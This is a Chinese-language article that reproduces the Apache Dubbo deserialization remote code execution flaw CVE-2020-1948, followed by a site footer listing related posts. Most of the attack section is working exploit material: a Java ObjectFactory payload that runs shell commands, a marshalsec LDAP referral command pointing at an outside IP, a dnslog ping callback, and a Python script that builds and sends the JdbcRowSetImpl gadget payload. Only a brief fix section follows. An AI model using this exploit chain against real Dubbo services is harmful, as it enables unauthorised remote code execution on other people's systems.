怎么进行Apache Dubbo反序列化漏洞的分析

简介

dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的rpc实现服务的输出和输入功能,可以和spring框架无缝集成。该系统具备三项核心功能,包括远程接口方法调用、智能容错和负载均衡,以及服务的自动注册和发现。

概述

2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

影响版本

Dubbo 2.7.0 – 2.7.6 Dubbo 2.6.0 – 2.6.7 Dubbo 2.5.x (官方不再维护)

环境搭建

运行环境与编译exp环境jdk版本均为8u121,启动测试环境

java -jar dubbo.jar

登录后复制

启动后会监听12345端口

漏洞复现

服务指纹:

PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd

登录后复制

构造poc,我们这里执行一个ping命令来验证是否可以执行命令,新建calc.java,

importjavax.naming.Context;importjavax.naming.Name;importjavax.naming.spi.ObjectFactory;importjava.util.Hashtable;publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtableenvironment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");returnnull;}}

登录后复制

编译poc

javac calc.java

登录后复制

将编译好的poc(calc.class)放到web网站目录里,确保漏洞主机可以访问到 使用marshalsec项目启动一个ldap代理服务,marshalsec下载:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

登录后复制

启动LDAP代理服务,执行该命令ldap服务会监听8086端口

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086

登录后复制

执行测试脚本,此处测试使用python环境为3.8.0,先安装依赖包

python3 -m pip install dubbo-py

登录后复制

脚本内容(Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('Example:- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

登录后复制

执行脚本

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc

登录后复制

怎么进行Apache Dubbo反序列化漏洞的分析dnslog查看,成功接收到请求怎么进行Apache Dubbo反序列化漏洞的分析

ldap服务也可以看到请求转发怎么进行Apache Dubbo反序列化漏洞的分析

弹计算器

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }

登录后复制

漏洞修复

升级 2.7.7 版本,并根据以下链接的方法进行参数校验

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

更换协议以及反序列化方式。

以上就是怎么进行Apache Dubbo反序列化漏洞的分析的详细内容,更多请关注【创想鸟】其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。

发布者:PHP中文网,转转请注明出处:https://www.chuangxiangniao.com/p/2626226.html

(0)
上一篇 2025年3月7日 00:50:40
下一篇 2025年3月7日 00:50:53

AD推荐 黄金广告位招租... 更多推荐

相关推荐

  • 如何使用Java开发一个基于Dubbo的分布式服务框架

    如何使用Java开发一个基于Dubbo的分布式服务框架 作为一名Java开发者,你可能已经听说过Dubbo这个分布式服务框架。Dubbo是阿里巴巴开源的一款高性能、轻量级的Java RPC框架,它提供了分布式服务治理的解决方案,可以用于构建…

    2025年3月7日
    200
  • springcloud和dubbo有哪些区别

    springcloud和dubbo的区别:1、定位与关注点;2、生态环境与集成性;3、调用方式与性能;4、组件与功能;5、定制性与灵活性;6、学习曲线与上手难度;7、社区支持与维护。详细介绍:1、定位与关注点,SpringCloud定位为微…

    2025年3月6日
    200
  • dubbo原理和机制是什么

    dubbo原理和机制的解释:1、核心组件;2、通信原理;3、集群容错;4、自动发现与注册;5、负载均衡与路由;6、序列化与传输;7、监控与日志;8、扩展性;9、安全性;10、与Spring集成;11、与其他技术的集成。详细介绍:1、核心组件…

    2025年3月6日
    200
  • Dubbo源码分析:小白入门篇

    如果你已经对Dubbo熟练使用了,那这篇文章不太适合你,但如果想了解Dubbo,想学习Dubbo,那就非常适合你。 什么是Dubbo? Dubbo一开始是由阿里巴巴开发,后面贡献给了Apache,所以后面我们称之为Apache Dubbo或…

    2025年3月6日 编程技术
    200
  • 在Beego中使用Zookeeper和Dubbo实现分布式服务治理

    随着互联网业务的不断发展,单一服务节点已无法满足高并发、高可用的需求。因此,分布式架构已成为现代化的开发方式,也是必须掌握的技术之一。 在分布式架构中,服务治理是一个复杂且重要的问题。为了保证服务的高可用性、质量和性能,服务治理需要实现服务…

    编程技术 2025年3月6日
    200
  • 在Beego中使用ZooKeeper和Dubbo进行分布式服务治理和管理

    随着互联网技术的不断发展,分布式系统的应用也变得越来越普遍。在分布式系统中,服务的治理和管理是一个重要的问题,而zookeeper和dubbo则是两个常用的分布式服务框架。 Beego是一个基于Go语言的Web应用框架,它提供了丰富的工具和…

    编程技术 2025年3月6日
    200
  • Dubbo技术分享:Go语言与Dubbo的完美结合

    Dubbo技术分享:Go语言与Dubbo的完美结合 随着互联网行业的快速发展和技术的不断升级,微服务架构已经成为了现代化软件开发的主流趋势之一。而Dubbo作为一款优秀的分布式服务框架,在微服务架构中扮演着重要的角色。最近,Go语言作为一门…

    2025年3月1日
    200
  • Dubbo开发者必读:探讨Dubbo是否支持Go语言

    Dubbo开发者必读:探讨Dubbo是否支持Go语言,需要具体代码示例 在当前微服务架构的流行趋势下,Dubbo作为一种高性能远程服务调用框架备受关注,但其支持的语言范围一直受到开发者们的关注。特别是对于使用Go语言开发的团队来说,是否能够…

    2025年3月1日
    200
  • 精品阐述:Dubbo是否已经支持Go语言

    尊敬的读者朋友们,今天我们将为您精心奉上一篇关于Dubbo在Go语言方面的探讨文章。Dubbo作为一款优秀的分布式服务框架,在Java语言中得到了广泛的应用和支持。而随着Go语言在近年来的快速发展,许多开发者对于Dubbo是否已经支持Go语…

    2025年3月1日
    200
  • 技术探讨:Go语言在Dubbo中的应用前景展望

    在当今信息技术飞速发展的时代,各种编程语言层出不穷,而Go语言作为一门快速、高效、并发性好的语言,正逐渐受到越来越多开发者的热捧。在微服务架构中,Dubbo作为一种优秀的RPC框架,随着微服务的兴起也逐渐崭露头角。本文将探讨在Dubbo中使…

    2025年3月1日
    200

发表回复

登录后才能评论